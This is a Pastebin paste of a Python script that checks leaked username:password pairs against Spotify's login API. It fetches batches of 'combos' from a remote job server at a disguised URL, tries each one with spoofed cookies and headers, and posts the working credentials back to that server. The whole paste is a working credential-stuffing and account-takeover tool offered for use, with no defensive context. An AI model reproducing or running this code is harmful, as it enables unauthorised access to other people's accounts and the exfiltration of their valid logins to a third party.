Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import time
- #vars
- url = 'https://google.api/index.php'
- def getCSRFtoken():
- while True:
- csrf_request = requests.get('https://accounts.spotify.com')
- if csrf_request.status_code == 200 and "429" not in csrf_request.text:
- break
- print("Oops, retry csrf")
- return csrf_request.cookies.get("csrf_token")
- def SpotifyCheck(combo):
- combo = combo.split(":")
- api_request = requests.Session()
- csrf_token = getCSRFtoken()
- cookies = {"fb_continue" : "https%3A%2F%2Fwww.spotify.com%2Fid%2Faccount%2Foverview%2F", "sp_landing" : "play.spotify.com%2F", "sp_landingref" : "https%3A%2F%2Fwww.google.com%2F", "user_eligible" : "0", "spot" : "%7B%22t%22%3A1498061345%2C%22m%22%3A%22id%22%2C%22p%22%3Anull%7D", "sp_t" : "ac1439ee6195be76711e73dc0f79f89", "sp_new" : "1", "csrf_token" : csrf_token, "__bon" : "MHwwfC0zMjQyMjQ0ODl8LTEzNjE3NDI4NTM4fDF8MXwxfDE=", "remember" : "[email protected]", "_ga" : "GA1.2.153026989.1498061376", "_gid" : "GA1.2.740264023.1498061376"}
- headers = {"User-Agent" : "Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4", "Accept" : "application/json, text/plain", "Content-Type": "application/x-www-form-urlencoded"}
- payload = {"remember" : "false", "username" : combo[0], "password" : combo[1], "csrf_token" : csrf_token}
- response = api_request.post("https://accounts.spotify.com/api/login", data=payload, headers=headers, cookies=cookies)
- try:
- if response.json().get("error"):
- return False
- except Exception:
- return False
- return True
- while True:
- goodComboList = ""
- #get new job
- jobrequest = requests.get(url+'?checker=1&getnextjob=')
- if jobrequest.status_code != 200:
- print("script error:1")
- time.sleep(5)
- continue
- if "NaN" in jobrequest.text:
- print("script error:2")
- print(jobrequest.text)
- time.sleep(5)
- continue
- jobid = jobrequest.text.split('jobid:')[1]
- print("Job Received: #"+jobid)
- #get combos
- jobrequest = requests.get(url+'?checker=1&jobdetails='+jobid)
- if jobrequest.status_code != 200:
- print("script error:3")
- continue
- combos = jobrequest.text.split("\r\n")
- print("Fetched "+str(len(combos))+" combos")
- #crack them
- count = 0
- for combo in combos:
- try:
- if SpotifyCheck(combo) == True:
- goodComboList = goodComboList+combo
- if count != len(combos):
- goodComboList = goodComboList+"\r\n"
- count = count+1
- except:
- print("exception")
- #send results
- payload = {'result': goodComboList}
- jobrequest = requests.post(url+'?checker=1&jobresults='+jobid, data=payload)
- print("Job Done")
Advertisement
Add Comment
Please, Sign In to add comment